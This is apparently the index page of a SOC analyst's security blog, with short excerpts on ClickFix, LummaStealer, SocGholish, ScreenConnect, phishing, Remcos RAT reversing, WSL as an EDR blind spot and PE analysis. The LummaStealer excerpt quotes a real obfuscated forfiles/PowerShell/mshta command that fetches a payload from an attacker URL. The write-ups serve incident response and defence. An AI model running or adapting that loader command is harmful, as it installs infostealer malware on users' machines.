ClickFix - Smartlifeshift

Incident Overview

ClickFix has been a persistent threat since its emergence in 2024. The SOC has seen and resolved alerts stemming from ClickFix on a weekly basis, with incidents heavily ramping up in 2025. Recently, there has been a troubling trend of added complexity to ClickFix events. This incident in particular utilizes stealth and persistence measures to deploy a Lumma payload after tricking users into executing a PowerShell command that serves as a loader for a separate malware dropper. This incident also demonstrates some obfuscation and session control measures. The loader uses a special User-Agent string to download the payload from the threat actor controlled infrastructure. Any attempt to connect to the server without proper headers fails. Despite these improvements, EDR was able to detect and prevent the initial download from completing.

Read more...

LummaStealer

Brief write-up on LummaStealer events observed in managed environments

Initial Detection Events

Users download a Windows lnk file from a malicious site that contains an executable command to launch forfiles.exe (a LOLbin for executing commands) with a command line similar to "C:\Windows\System32\forfiles.exe" /p C:\ /m Use*s /c "powershell Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto". This command line works as follows:

Read more...

ScreenConnect

Initial Detection Events

The alert came from a concierge security service for the download and execution of an actor controlled ScreenConnect RMM Tool. The process was not blocked by EDR. SOC investigation concluded that the user executed a malicious application that may have installed ScreenConnect for malicious access to the device.

Read more...

SocGholish

SocGholish is a well-known malware campaign that masquerades as software updates, typically for browsers, to trick users into downloading malicious files. Often, SocGholish uses compromised websites to accomplish this task. WordPress sites are particularly vulnerable if default configurations are not changed. On February 27th, 2024, an EDR alert lead to the discovery of SocGholish malware on a state device. The EDR solution worked as intended and blocked the process from running. Further analysis found that a local Minnesota website was compromised and serving the malware. A search was conducted, and, in total, 12 distinct devices had visited the compromised website in the past 30 days (02/07/2024-03/07/2024). No evidence suggests that any compromise of state devices occurred.

Attack Chain

1. The user visits a compromised website (ecowaterminnesota.com)
2. An embedded script covers the screen and executes a linked malicious script.
3. The malicious script contains the SocGholish payload.
4. A fake update page is loaded over the screen, prompting the user to download a software update.
5. The downloaded file is a JavaScript file often named “update”, “version”, or some other software updated related name.
6. The user executes the “update” file, and the malware connects to a Command and Control (C2) server.
7. Data is exfiltrated and in some cases, lateral movement or secondary payloads may be executed.

Read more...

Infector API

The infector API (not at all a malicious thing, although it defintely started as a malware delivery system) is a long term project I started on in March. The primary goals were to establish a functional API server written entirely in Rust. Currently, the API server offers several different services, hooks into various technologies including a SQLite database for authentication, and has SSL/TLS support via Let’s Encrypt. In it’s current incarnation, it isn’t entirely ready for deployment. However, I thought this would be a good time to start documenting the journey I’ve taken creating this, and more importantly, what I’ve learned creating it.

Read more...

Phishing Analysis

This article was originally written for internal use. It has been adapted for public release. Some content has been removed. I’ll try and do an actual rewrite at some point.

E-Mail Message

Phishing attacks typically start with either a malicious attachment or malicious domain. For this sample, the phishing event started with a link to a PDF file hosted by Gamma App. Gamma App and other file hosts are often used to serve malicious files. These services often have little to no security measures in place for detecting or preventing malware or phishing.

Read more...

Reverse Engineering a Remcos RAT 5.3.0 Pro sample

This sample was taken from MalwareBazaar.

I was in the mood to do some malware reversing and came across an HTA sample on Malware Bazaar that seemed interesting. I had recently finished cleaning up some Lumma Stealer infections at work, and I wanted to dig into something that had a little more going on for it. There’s only so many fake captcha pages you can clean up in one day :).

Read more...

Windows Subsystem for Linux (WSL) is a powerful, native, method for accessing virtualized Linux environments and tools via Windows. With Windows 11, WSL is installed by default. It uses Hyper-V for virtualization and is (mostly) seamlessly integrated into the Windows operating system. Unlike WSL 1 which was a compatibility layer for Linux tools and ELF binaries, WSL 2 is a full-featured virtualized Linux kernel. Enter Endpoint Detection and Response (EDR) tooling. Typically, these tools monitor system processes, events, and other telemetry via installed sensors. These sensors passively monitor events, forwarding them to a central agent where processing, detections, etc happen. Sensors are required to be installed on the operating systems for which they are designed. For example, Linux sensors are required for Linux systems, and Windows sensors are required for Windows systems, and so on. With WSL 1, where the WSL process was simply a layer to provide some compatibility with Linux binaries, most events could be logged and detected from the Windows sensor viewpoint. However, with WSL 2, a fully virtualized Linux kernel, the Windows sensor (and the entire Windows host operating system, to some extent) has no insight into what is occurring or executing, so long as no interactions with the Windows host are made.

Read more...

Recently, I was inspired to dive back into C, this time with a Windows focus. I’ve had previous experience with the basics in college, but I spent all that time working in Linux. This time around, I wanted to focus on developing C code for use on Windows. I wanted to start with something familiar, so I went with a simple TCP server. I’ve done several variations of this using other languages, and I’ve done something similar in C targeting Linux. So, I figured that this would be a relatively simple task. In a way it was. I was already familiar with the basics, so it didn’t take long to readjust from a PowerShell/Python mindset back to C, but I also found that documentation outside of MSDN was almost non-existent or, in some cases, was extremely out of date. Maybe I’m just bad at Googling, but where are all of the basics of C in Windows guides!? I found a bunch of TCP servers targeting Linux with socket.h, but I didn’t find easy-to-digest examples of the same thing with WinSock2.h and ws2_32.lib. Also, side note, but the whole #pragma comment(lib, “ws2_32.lib”) thing threw me off my game. I couldn’t figure out why my tests weren’t building at first. Anyway, I thought it would be useful to document my progress with relearning C. Starting with a basic TCP server that accepts messages and sends a canned response back to the client.

Read more...

This is taken from my project Invoke-PEAnalysis.

PE File Types

To begin with, Portable Executable (PE) is the name given to executable images developed for the Windows operating system. Most commonly, you will see these as EXE files. These files are made up of various information sections called headers that describe the functionality and behavior of the executable file. These headers also contain the location of various data in the file. By parsing these headers and data, it is possible to extract pertinent information about the executable without ever running it. This is called Static Analysis. Of course, you can’t see everything an executable does through static analysis. However, you can see what it’s importing from the system, what sort of API calls it’s making, what it’s exporting, and other key details.

Read more...